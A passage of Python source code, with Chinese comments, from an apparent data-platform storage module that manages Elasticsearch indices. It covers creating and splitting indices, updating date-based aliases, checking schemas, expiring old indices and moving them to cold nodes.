DTEVENTTIMESTAMP,\n ENABLE_REPLICA,\n ES,\n ES_CONF,\n ES_FIELDS,\n EXPIRES,\n FAILED,\n FALSE,\n FIELD_NAME,\n FIELD_TYPE,\n FIELDS,\n FLOAT,\n HAS_REPLICA,\n HOST,\n INCLUDE,\n INCLUDE_IN_ALL,\n INDEX,\n INDICES,\n INFO,\n INT,\n INTEGER,\n JSON_FIELDS,\n JSON_HEADERS,\n KEYWORD,\n LONG,\n MAPPINGS,\n NUMBER_OF_REPLICAS,\n OBJECT,\n ORDER,\n PASSWORD,\n PORT,\n PROPERTIES,\n REMOVE,\n RESULT_TABLE_ID,\n RESULT_TABLE_NAME,\n ROUTING,\n RT_CONF,\n RT_FIELDS,\n SAMPLE,\n SETTINGS,\n STATUS,\n STORAGE_CLUSTER,\n STORAGE_CONFIG,\n STORAGES,\n STORE_SIZE,\n STRING,\n SUCCESS,\n TAG,\n TEXT,\n TOP,\n TRUE,\n TYPE,\n USER,\n VERSION,\n)\nfrom datahub.storekit import model_manager, util\nfrom datahub.storekit.exceptions import (\n ClusterNotFoundException,\n EsBadIndexError,\n EsRestRequestError,\n RtStorageNotExistsError,\n)\nfrom datahub.storekit.settings import (\n AUTO_CREATE_FIELD,\n DOCS_LIMIT_PER_SHARD,\n ES_MAINTAIN_TIMEOUT,\n EXCLUDE_ES_CLUSTER,\n FORCE_SPLIT_DAYS,\n HAS_COLD_NODES,\n HOT_INDEX_SAVE_DAYS,\n HTTP_REQUEST_TIMEOUT,\n INDEX_SPLIT_THRESHOLD_IN_BYTE,\n INITIAL_SHARD_MAX_SIZE_IN_BYTE,\n INITIAL_SHARD_NUM,\n MAX_SHARD_NUM,\n NODE_HAS_TAG,\n REPLICA_NUM,\n RESERVED_INDEX_NUM,\n RTX_RECEIVER,\n RUN_VERSION,\n SKIP_ES_INDEX_PREFIX,\n SKIP_RT_FIELDS,\n TAG_COLD,\n TAG_HOT,\n TOTAL_SHARDS_PER_NODE,\n VERSION_IEOD_NAME,\n)\n\n\ndef initialize(rt_info):\n \"\"\"\n 初始化rt的es存储，包含创建索引、生成alias等操作\n :param rt_info: rt的字段和配置信息\n :return: 初始化操作结果\n \"\"\"\n return prepare(rt_info)\n\n\ndef info(rt_info):\n \"\"\"\n 获取rt的es存储相关信息，包含索引列表、别名列表等信息\n :param rt_info: rt的字段和配置信息\n :return: rt的es相关信息\n \"\"\"\n es = rt_info[STORAGES][ES]\n es[INFO] = {INDICES: [], MAPPINGS: {}, SETTINGS: {}, SAMPLE: {}}\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n # 获取索引列表，以及最新的索引的mapping\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n es[INFO][INDICES] = valid_rt_indices[rt_id_lower]\n max_index_name = valid_rt_indices[rt_id_lower][0]\n es[INFO][MAPPINGS] = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n es[INFO][SETTINGS] = _get_index_settings_from_es(es_addr, es_auth, max_index_name)\n es[INFO][SAMPLE] = _get_sample_data_from_es(es_addr, es_auth, max_index_name)\n\n return es\n\n\ndef alter(rt_info):\n \"\"\"\n 修改rt的es存储相关信息，有可能需要创建新的索引，以及别名指向\n :param rt_info: rt的字段和配置信息\n :return: rt的es存储的变更结果\n \"\"\"\n return prepare(rt_info)\n\n\ndef delete(rt_info):\n \"\"\"\n 删除rt的es存储相关配置，以及对应的索引和数据\n :param rt_info: rt的字段和配置信息\n :return: rt的es存储清理结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n logger.info(f\"{es_addr}: going to delete indices {valid_rt_indices[rt_id_lower]}\")\n _delete_index(es_addr, es_auth, \",\".join(valid_rt_indices[rt_id_lower]))\n\n return True\n\n\ndef prepare(rt_info, force_create=False, force_shard_num=INITIAL_SHARD_NUM):\n \"\"\"\n 准备rt的es存储，这里可能是初始化，或者schema变化后的创建，或者不需要做任何事情\n :param force_shard_num: 强制分裂时指定分片数\n :param rt_info: rt的字段和配置信息\n :param force_create: 强制创建新索引\n :return: rt的es存储准备的结果\n \"\"\"\n # 获取es集群的信息\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n conn_info = rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO]\n es_addr, es_auth = parse_es_connection_info(conn_info)\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n\n new_index_name = _get_new_index_name(rt_id_lower) # 默认新建的索引名称\n shard, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node = _get_init_shard_param(\n conn_info\n ) # 默认按照最小的分片数量创建\n need_create_index = False # 默认无需创建索引\n\n if rt_id_lower in indices:\n # 不合法的索引名称，此时需要通知管理员手动处理这种场景\n msg = f\"{es_addr}: unable to create index for {rt_id_lower} as index name is the same as alias\"\n logger.warning(msg)\n util.wechat_msg(RTX_RECEIVER, msg)\n raise EsBadIndexError(message_kv={\"msg\": rt_id_lower})\n elif rt_id_lower in valid_rt_indices:\n # rt对应的索引已经存在，对比是否发生schema变化，如果有变化，则新创建索引\n max_index_name = valid_rt_indices[rt_id_lower][0]\n json_mapping = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n logger.info(f\"{es_addr}: {rt_id_lower} mapping in {max_index_name} is {json.dumps(json_mapping)}\")\n new_index_name = _get_new_index_name(rt_id_lower, max_index_name)\n current_replica = _get_index_replica(es_addr, es_auth, max_index_name)\n if _is_schema_changed(rt_info, json_mapping) or _is_replica_changed(rt_info, current_replica):\n need_create_index = True\n index_size = _get_index_size(es_addr, es_auth, max_index_name)\n shard = shard if index_size < init_shard_size else max_shard_num\n else:\n logger.info(f\"{es_addr}: schema unchanged for {rt_id_lower}, use {max_index_name}\")\n else:\n need_create_index = True # rt对应的索引不存在，需要创建\n\n if need_create_index or force_create:\n shard = force_shard_num if force_create else shard\n mapping = _construct_mapping(rt_info, shard, TAG_HOT, total_shards_per_node)\n logger.info(f\"{es_addr}: {rt_id_lower} create index {new_index_name} with mapping {mapping}\")\n return _create_es_index_in_cluster(rt_id_lower, es_addr, es_auth, new_index_name, mapping)\n\n return True\n\n\ndef check_schema(rt_info):\n \"\"\"\n 对比rt的schema和es中索引的schema，找出不一致的地方。rt字段类型有int/long/double/string，\n es中有text/keyword/integer/long/double/object等\n :param rt_info: rt的配置信息\n :return: schema不一致的地方\n \"\"\"\n result = {RT_CONF: {}, RT_FIELDS: {}, ES_CONF: {}, ES_FIELDS: {}}\n # 获取es集群的信息\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n result[RT_CONF] = _trans_fields_to_es_conf(rt_info[FIELDS], json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG]))\n for field in rt_info[FIELDS]:\n result[RT_FIELDS][field[FIELD_NAME]] = field[FIELD_TYPE]\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n max_index_name = valid_rt_indices[rt_id_lower][0]\n json_mapping = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n properties = json_mapping if _extract_big_version(version) >= 7 else json_mapping[index_type]\n result[ES_CONF] = _trans_mapping_to_es_conf(properties, version)\n\n field_props = properties[PROPERTIES]\n for field in field_props:\n result[ES_FIELDS][field] = field_props[field][TYPE]\n\n return result\n\n\ndef maintain(rt_info):\n \"\"\"\n 维护rt的es存储，按照规则新建es的索引，对索引增加别名，切换别名指向等等。\n :param rt_info: rt的字段和配置信息\n :return: 维护rt的es存储的结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n _maintain_rt_indices(rt_info, valid_rt_indices[rt_id_lower], es_addr, es_auth)\n\n return True\n\n\ndef maintain_all_rts():\n \"\"\"\n 维护系统中所有rt的es存储\n :return: 维护所有rt的es存储的结果\n \"\"\"\n # 获取所有es集群信息，排除非用户数据的es集群\n es_clusters = model_manager.get_cluster_objs_by_type(ES)\n # 按照es集群并发执行，以便加速维护任务，现网每天第一次执行涉及很多索引创建，需耗时2小时左右。\n check_threads = []\n for es_cluster in es_clusters:\n if es_cluster.cluster_name in EXCLUDE_ES_CLUSTER:\n continue # 跳过非用户数据的es集群\n\n # 获取es集群中的索引列表\n es_addr, es_auth = parse_es_connection_info(es_cluster.connection_info)\n check_cluster_thread = threading.Thread(\n target=_maintain_es_cluster, name=es_cluster.cluster_name, args=(es_cluster.cluster_name, es_addr, es_auth)\n )\n\n # 设置线程为守护线程，主线程结束后，结束子线程\n check_cluster_thread.setDaemon(True)\n\n check_threads.append(check_cluster_thread)\n check_cluster_thread.start()\n\n # join所有线程，等待所有集群检查都执行完毕\n # 设置超时时间，防止集群出现问题，一直阻塞，导致后续集群维护任务等待\n for th in check_threads:\n th.join(timeout=ES_MAINTAIN_TIMEOUT)\n\n return True\n\n\ndef clusters():\n \"\"\"\n 获取es存储集群列表\n :return: es存储集群列表\n \"\"\"\n result = model_manager.get_storage_cluster_configs_by_type(ES)\n return result\n\n\ndef get_cluster_info(es_addr, es_auth):\n \"\"\"\n 获取es索引的settings设置\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :return: es集群信息\n \"\"\"\n res = requests.get(f\"http://{es_addr}/_cluster/stats\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: get es cluster info failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef parse_es_connection_info(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群地址和鉴权信息返回\n :param connection_info: es集群的连接串配置\n :return: 元组，包含es集群地址和鉴权信息。\n \"\"\"\n es_conn = json.loads(connection_info)\n es_addr = f\"{es_conn[HOST]}:{es_conn[PORT]}\"\n if es_conn[\"enable_auth\"]:\n es_conn[PASSWORD] = BaseCrypt.bk_crypt().decrypt(es_conn[PASSWORD])\n es_auth = (es_conn[USER], es_conn[PASSWORD])\n return es_addr, es_auth\n\n\ndef _get_init_shard_param(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的初始shard数返回\n :param connection_info: es集群的连接串配置\n :return: 初始shard数。\n \"\"\"\n es_conn = json.loads(connection_info)\n init_shard_num = es_conn.get(\"init_shard_num\", INITIAL_SHARD_NUM)\n init_shard_size = es_conn.get(\"init_shard_size\", INITIAL_SHARD_MAX_SIZE_IN_BYTE)\n max_shard_num = es_conn.get(\"max_shard_num\", MAX_SHARD_NUM)\n shard_docs_limit = (\n es_conn[\"shard_docs_limit\"]\n if (\"shard_docs_limit\" in es_conn and es_conn[\"shard_docs_limit\"] < DOCS_LIMIT_PER_SHARD)\n else DOCS_LIMIT_PER_SHARD\n )\n total_shards_per_node = es_conn.get(\"total_shards_per_node\", TOTAL_SHARDS_PER_NODE)\n return init_shard_num, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node\n\n\ndef _get_hot_save_days(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的热索引保留天数返回\n :param connection_info: es集群的连接串配置\n :return: 热索引保留天数。\n \"\"\"\n es_conn = json.loads(connection_info)\n hot_save_days = es_conn[\"hot_save_days\"] if \"hot_save_days\" in es_conn else HOT_INDEX_SAVE_DAYS\n return hot_save_days\n\n\ndef _get_has_cold_nodes(connection_info):\n \"\"\"\n 解析es集群的连接串，获取集群是否有冷节点\n :param connection_info: es集群的连接串配置\n :return: 集群是否有冷节点。\n \"\"\"\n es_conn = json.loads(connection_info)\n has_cold_nodes = es_conn.get(\"has_cold_nodes\", HAS_COLD_NODES)\n return has_cold_nodes\n\n\ndef _get_split_index_condition(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的index分裂条件返回\n :param connection_info: es集群的连接串配置\n :return: 索引的分裂条件。\n \"\"\"\n es_conn = json.loads(connection_info)\n index_split_threshold_in_byte = (\n es_conn[\"index_split_threshold_in_byte\"]\n if \"index_split_threshold_in_byte\" in es_conn\n else INDEX_SPLIT_THRESHOLD_IN_BYTE\n )\n force_split_days = es_conn[\"force_split_days\"] if \"force_split_days\" in es_conn else FORCE_SPLIT_DAYS\n return index_split_threshold_in_byte, force_split_days\n\n\ndef _maintain_es_cluster(es_cluster_name, es_addr, es_auth):\n \"\"\"\n 维护指定的es集群中的索引列表\n :param es_cluster_name: es集群名称\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n \"\"\"\n # 获取es集群中的索引列表\n indices = _get_es_indices(es_addr, es_auth)\n valid_rt_indices, bad_indices = _get_valid_rt_indices(indices)\n if bad_indices:\n logger.info(f\"{es_addr}: bad indices {json.dumps(bad_indices)}\")\n\n maintain_failed = []\n # 逐个rt进行维护，需注意rt是否还包含es存储，且存储的集群没有发生切换\n logger.info(f\"{es_addr}: es maintain started for {es_cluster_name}\")\n for rt_id_lower, sort_index_list in list(valid_rt_indices.items()):\n try:\n rt_info = util.get_rt_info(rt_id_lower)\n if rt_info and ES in rt_info[STORAGES]:\n rt_es_cluster_name = rt_info[STORAGES][ES][STORAGE_CLUSTER][CLUSTER_NAME]\n if rt_es_cluster_name != es_cluster_name:\n logger.warning(\n f\"{es_addr}: rt es cluster changed to {rt_es_cluster_name}, unable to maintain \"\n f\"{json.dumps(sort_index_list)}\"\n )\n else:\n _maintain_rt_indices(rt_info, sort_index_list, es_addr, es_auth)\n else:\n # 如果rt删除了es节点，那么这段废弃数据将永远不会被删除\n raise RtStorageNotExistsError(message_kv={RESULT_TABLE_ID: rt_id_lower, TYPE: ES})\n except Exception:\n logger.warning(f\"{es_addr}: failed to maintain indices {json.dumps(sort_index_list)}.\", exc_info=True)\n maintain_failed.append(sort_index_list)\n logger.info(\n f\"{es_addr}: es maintain finished for {len(list(valid_rt_indices.keys()))} rts, failed are \"\n f\"{json.dumps(maintain_failed)}\"\n )\n\n\ndef _maintain_rt_indices(rt_info, sort_index_list, es_addr, es_auth):\n \"\"\"\n 维护rt对应的索引列表\n :param rt_info: rt的配置信息\n :param sort_index_list: rt的es索引列表，倒序排列\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :return: 维护结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n logger.info(f\"{es_addr}: going to maintain indices {json.dumps(sort_index_list)}\")\n # 保留至少1个索引，删除超出过期时间所有索引，维护索引别名\n indices_to_delete = _expired_index_list(rt_id_lower, rt_info[STORAGES][ES][EXPIRES], sort_index_list)\n if indices_to_delete:\n logger.info(f\"{es_addr}: going to delete indices {json.dumps(indices_to_delete)}\")\n _delete_index(es_addr, es_auth, \",\".join(indices_to_delete))\n\n # 判断是否需要分裂（500G，或者7天，或者docs超出限制）\n max_index_name = sort_index_list[0]\n index_size = _get_index_size(es_addr, es_auth, max_index_name)\n # 无论是否需要分裂索引，都需要在当前最大索引上加上当天的别名指向，因为部分当天的日志已写入此索引\n _alias_update(es_addr, es_auth, rt_id_lower, max_index_name)\n conn_info = rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO]\n shard, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node = _get_init_shard_param(conn_info)\n\n # 获取index 主分片数和docs\n pri_shard_num, docs = _get_es_index_pri_docs(es_addr, es_auth, max_index_name)\n if _index_need_splitting(max_index_name, index_size, conn_info, pri_shard_num, docs, shard_docs_limit):\n new_index_name = _get_new_index_name(rt_id_lower, max_index_name)\n num_shards = shard if index_size < init_shard_size else max_shard_num\n mapping = _construct_mapping(rt_info, num_shards, TAG_HOT, total_shards_per_node)\n logger.info(f\"{es_addr}: {rt_id_lower} create index {new_index_name} with mapping {mapping}\")\n # 创建索引，同时挂载别名\n _create_es_index_in_cluster(rt_id_lower, es_addr, es_auth, new_index_name, mapping)\n\n # 海外版不存在冷节点，内部版有冷热节点，通过变量控制不同版本\n if _get_has_cold_nodes(conn_info):\n # 将过期的索引放入冷节点\n cold_sort_index_list = sort_index_list[1:]\n hot_index_date = util.get_date_by_diff(1 - _get_hot_save_days(conn_info)) # yyyyMMdd\n for one_index in cold_sort_index_list:\n # 保证当天的索引保持原样，跳过将其转到冷节点的逻辑 yyyyMMdd01\n if one_index in indices_to_delete or int(hot_index_date) <= int(one_index.split(\"_\")[-1][0:8]):\n continue\n else:\n allocation_tag = _get_index_allocation_tag(es_addr, es_auth, one_index)\n # 把索引tag属性不是cold的索引修改为cold\n if allocation_tag != TAG_COLD:\n logger.info(f\"{es_addr}: going to move index {one_index} to cold tag\")\n # 设置冷节点单节点分片数\n settings = {\n \"index.routing.allocation.include.tag\": TAG_COLD,\n \"index.routing.allocation.total_shards_per_node\": (REPLICA_NUM + 1) * max_shard_num,\n }\n _put_index_settings(es_addr, es_auth, one_index, settings)\n\n\ndef _create_es_index_in_cluster(rt, es_addr, es_auth, index_name, index_mapping_str):\n \"\"\"\n 在es集群中创建索引\n :param rt: rt名称\n :param es_addr: es集群地址\n :param es_auth: es集群鉴权\n :param index_name: 索引名称\n :param index_mapping_str: 索引的mapping\n :return: 是否创建成功\n \"\"\"\n res = requests.put(\n url=f\"http://{es_addr}/{index_name}?master_timeout=240s\",\n json=json.loads(index_mapping_str),\n headers=JSON_HEADERS,\n auth=es_auth,\n timeout=600,\n )\n if res.status_code == 200:\n alias = rt.lower()\n # TODO 需要校验索引已经存在了，能被rest接口查询到\n if _alias_update(es_addr, es_auth, alias, index_name):\n # alias更新是异步操作，这里需要验证alias真的已经指向到新的index上，最多等待90s\n reties = 15\n while not _is_alias_point_to_index(es_addr, es_auth, alias, index_name) and reties > 0:\n time.sleep(6)\n reties -= 1\n if reties == 0:\n _delete_index(es_addr, es_auth, index_name)\n logger.warning(f\"{es_addr}: update alias timeout for {rt}, delete the index {index_name}\")\n else:\n logger.info(f\"{es_addr}: create index {index_name} and update alias success for {rt}\")\n return True\n else:\n _delete_index(es_addr, es_auth, index_name)\n logger.warning(f\"{es_addr}: update alias failed for {rt}, delete the index {index_name}\")\n else:\n # 创建es mapping失败，需要告警出来\n msg = f\"{es_addr}: failed to create index {index_name} for {rt}. {res.status_code} {res.text}\"\n logger.warning(msg)\n util.wechat_msg(RTX_RECEIVER, msg)\n\n return False\n\n\ndef _alias_update(es_addr, es_auth, alias, max_index_name):\n \"\"\"\n 获取别名（rt）指向的index名称和当日alias指向的index名称，如果和传入的索引相同，则无需修改别名\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param alias: es索引的默认别名\n :param max_index_name: 当前最大的索引名称\n :return: 更新别名的结果，True/False\n \"\"\"\n today = alias + \"_\" + util.get_date_by_diff(0)\n tomorrow = alias + \"_\" + util.get_date_by_diff(1)\n near_tomorrow = util.is_near_tomorrow()\n # 如果时间接近明天，则增加明天的日期作为别名\n if near_tomorrow:\n alias_ret = requests.get(\n url=f\"http://{es_addr}/_alias/{alias},{today},{tomorrow}\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n else:\n alias_ret = requests.get(\n url=f\"http://{es_addr}/_alias/{alias},{today}\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT\n )\n\n action = {ACTIONS: []}\n # 判断当前索引的别名，增加缺失的别名\n if alias_ret.status_code == 200 and max_index_name in alias_ret.json():\n alias_list = list(alias_ret.json()[max_index_name][\"aliases\"].keys())\n if alias not in alias_list:\n action[ACTIONS].append({REMOVE: {INDEX: f\"{alias}_20*\", ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: alias}})\n if today not in alias_list:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: today}})\n if near_tomorrow and tomorrow not in alias_list:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: tomorrow}})\n else:\n action[ACTIONS].append({REMOVE: {INDEX: f\"{alias}_20*\", ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: today}})\n if near_tomorrow:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: tomorrow}})\n\n if action[ACTIONS]:\n action = json.dumps(action)\n logger.info(f\"{es_addr}: change alias for {max_index_name} {action}\")\n # 修改别名的指向，原子操作\n res = requests.post(\n url=f\"http://{es_addr}/_aliases?master_timeout=240s\",\n data=action,\n headers=JSON_HEADERS,\n auth=es_auth,\n timeout=600,\n )\n if res.status_code != 200:\n logger.warning(f\"{es_addr}: change alias failed {action}. {res.status_code} {res.text}\")\n return False\n\n return True\n\n\ndef _is_alias_point_to_index(es_addr, es_auth, alias, index_name):\n \"\"\"\n 验证es中的别名是否指向指定的索引，返回验证结果\n :param es_addr: es集群地址\n :param es_auth: es权限校验信息\n :param alias: 索引的别名\n :param index_name: 索引名称\n :return: True/False\n \"\"\"\n res = requests.get(url=f\"http://{es_addr}/_alias/{alias}\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n # 首先验证返回的结果中只包含一个key，然后验证key的值和索引名称相同，此时能确定alias指向了index，且唯一\n if res.status_code == 200:\n result = res.json()\n if len(result) == 1 and index_name in result:\n return True\n\n logger.warning(f\"{es_addr}: alias {alias} is not point to index {index_name}. {res.status_code}, {res.text}\")\n return False\n\n\ndef _delete_index(es_addr, es_auth, indices):\n \"\"\"\n 删除es集群中的指定索引\n :param es_addr: es集群地址\n :param es_auth: es权限校验信息\n :param indices: 索引名称，多个索引用逗号串起来\n :return: 删除成功与否，True/False\n \"\"\"\n res = requests.delete(f\"http://{es_addr}/{indices}\", auth=es_auth, timeout=600)\n if res.status_code == 200:\n return True\n else:\n logger.warning(f\"{es_addr}: failed to delete indices {indices}. {res.status_code} {res.text}\")\n return False\n\n\ndef _get_valid_rt_indices(indices):\n \"\"\"\n 在输入的索引列表中找到合法的rt和rt对应的索引列表（倒序，最新时间的索引名称在前）。\n :param indices: 索引名称列表\n :return: 元组，第一个是rt和对应的索引列表的字典，第二个是不合法的索引列表\n \"\"\"\n rt_sort_index_list = {}\n bad_indices = []\n\n for index_name in indices:\n # 符合要求的索引 611_etl_docker_2018070700 ，包含rtid + _ + yyyyMMdd + xx （xx编号可有可无，默认00）\n if re.search(r\"^\\d+_\\w+_\\d{8,}$\", index_name) is None:\n # 不符合要求的es索引名称，不是es入库所使用的索引\n skip = False\n for prefix in SKIP_ES_INDEX_PREFIX:\n if index_name.startswith(prefix):\n skip = True\n break\n if not skip:\n bad_indices.append(index_name)\n else:\n rt = \"_\".join(index_name.split(\"_\")[0:-1])\n if rt not in rt_sort_index_list:\n rt_sort_index_list[rt] = [index_name]\n else:\n rt_sort_index_list[rt].append(index_name)\n\n for index_name_list in list(rt_sort_index_list.values()):\n index_name_list.sort(reverse=True)\n\n return rt_sort_index_list, bad_indices\n\n\ndef _get_es_indices(es_addr, es_auth, index_prefix=\"\"):\n \"\"\"\n 获取es集群中符合匹配规则的所有正常的索引列表，不包含状态为closed的索引。\n :param es_addr: es集群地址\n :param es_auth: es集群的鉴权信息\n :param index_prefix: 检索的es索引的前缀，默认为空字符串\n :return: es集群中正常的索引列表\n \"\"\"\n res = requests.get(\n f\"http://{es_addr}/_cat/indices?h=index,status&format=json&index={index_prefix}*\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n indices = []\n not_open_indices = []\n if res.status_code == 200:\n for item in res.json():\n if item[STATUS] == \"open\":\n indices.append(item[INDEX])\n else:\n not_open_indices.append(item[INDEX])\n else:\n logger.warning(f\"{es_addr}: get indices list failed. {res.status_code} {res.text}\")\n\n if not_open_indices:\n logger.info(f\"{es_addr}: not open indices are {json.dumps(not_open_indices)}\")\n\n return indices\n\n\ndef _get_es_index_pri_docs(es_addr, es_auth, index_name):\n \"\"\"\n 获取es集群中索引的docs。\n :param es_addr: es集群地址\n :param es_auth: es集群的鉴权信息\n :param index_name: 索引名称\n :return: es集群中索引的docs。\n \"\"\"\n res = requests.get(\n f\"http://{es_addr}/_cat/indices/{index_name}?v&s=index&format=json\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n docs = 0\n pri_shard_num = 0\n if res.status_code == 200 and res.json():\n docs = int(res.json()[0][\"docs.count\"])\n pri_shard_num = int(res.json()[0][\"pri\"])\n else:\n logger.warning(f\"{es_addr}: get index docs failed. {res.status_code} {res.text}\")\n\n return pri_shard_num, docs\n\n\ndef _trans_fields_to_es_conf(fields, es_storage_conf):\n \"\"\"\n 将rt的字段转换为es中的字段和类型\n :param fields: rt中的字段列表\n :param es_storage_conf: rt的es相关存储配置\n :return: es中的mapping相关配置\n \"\"\"\n # 页面上配置支持分词字段、聚合字段、json字段三种配置。时间字段为默认的，用户不可配置。\n result_conf = {\n ANALYZED_FIELDS: [],\n DATE_FIELDS: [DTEVENTTIMESTAMP], # 时间字段用户不可配置\n DOC_VALUES_FIELDS: [DTEVENTTIMESTAMP], # 时间戳固定作为聚合字段\n JSON_FIELDS: [],\n }\n # 默认删除rt中的timestamp/offset字段，增加_iteration_idx字段，将字段映射为es中的字段配置\n for field in fields:\n field_name = field[FIELD_NAME]\n if field_name not in SKIP_RT_FIELDS:\n # TODO analyzed_fields（分词） 和 doc_values_fields（聚合） 应该互斥，keyword支持聚合，text不支持\n if ANALYZED_FIELDS in es_storage_conf and field_name in es_storage_conf[ANALYZED_FIELDS]:\n result_conf[ANALYZED_FIELDS].append(field_name)\n if JSON_FIELDS in es_storage_conf and field_name in es_storage_conf[JSON_FIELDS]:\n result_conf[JSON_FIELDS].append(field_name)\n if (\n field_name != DTEVENTTIMESTAMP\n and DOC_VALUES_FIELDS in es_storage_conf\n and field_name in es_storage_conf[DOC_VALUES_FIELDS]\n ):\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n # TODO 兼容旧逻辑中将几个字段默认作为聚合字段的逻辑，后续需全部迁移到es的存储配置中\n for field_name in AUTO_CREATE_FIELD:\n if field_name not in result_conf[DOC_VALUES_FIELDS]:\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n return result_conf\n\n\ndef _trans_mapping_to_es_conf(es_mapping, es_version):\n \"\"\"\n 将es索引的mapping转换为es存储的配置，以便于和rt的es存储配置对比。\n :param es_mapping: es索引的mapping，json对象\n :return: 索引的mapping转换的es存储的配置对象\n \"\"\"\n result_conf = {ANALYZED_FIELDS: [], DATE_FIELDS: [], DOC_VALUES_FIELDS: [], JSON_FIELDS: []}\n for field_name, value in list(es_mapping[PROPERTIES].items()):\n if field_name == \"_copy\" and _extract_big_version(es_version) >= 6:\n # 跳过6.x版本中默认添加的_copy字段，此字段功能类似以前版本的_all字段\n continue\n if PROPERTIES in value or value[TYPE] == OBJECT:\n # json格式的字段无法分词，也无法聚合\n result_conf[JSON_FIELDS].append(field_name)\n continue\n if value[TYPE] == TEXT:\n # text字段即为分词的字段，无法用作聚合\n result_conf[ANALYZED_FIELDS].append(field_name)\n else:\n if DOC_VALUES not in value:\n # doc_values默认值为true，只有显示设置为false的时候，才会在mapping中体现\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n if value[TYPE] == DATE:\n result_conf[DATE_FIELDS].append(field_name)\n\n # TODO 兼容旧逻辑中将几个字段默认作为聚合字段的逻辑，后续需全部迁移到es的存储配置中\n for field_name in AUTO_CREATE_FIELD:\n if field_name not in result_conf[DOC_VALUES_FIELDS]:\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n return result_conf\n\n\ndef _is_schema_changed(rt_info, json_mapping):\n \"\"\"\n 根据rt的es存储配置计算es的mapping内容，和实际es集群中此rt对应的索引的mapping进行对比，返回对比结果\n :param rt_info: rt的配置\n :param json_mapping: rt对应es中索引的mapping\n :return: 是否rt对应的mapping发生了变化，True/False\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n rt_es_config = _trans_fields_to_es_conf(rt_info[FIELDS], config_from_api)\n\n # from ES\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n properties = json_mapping if 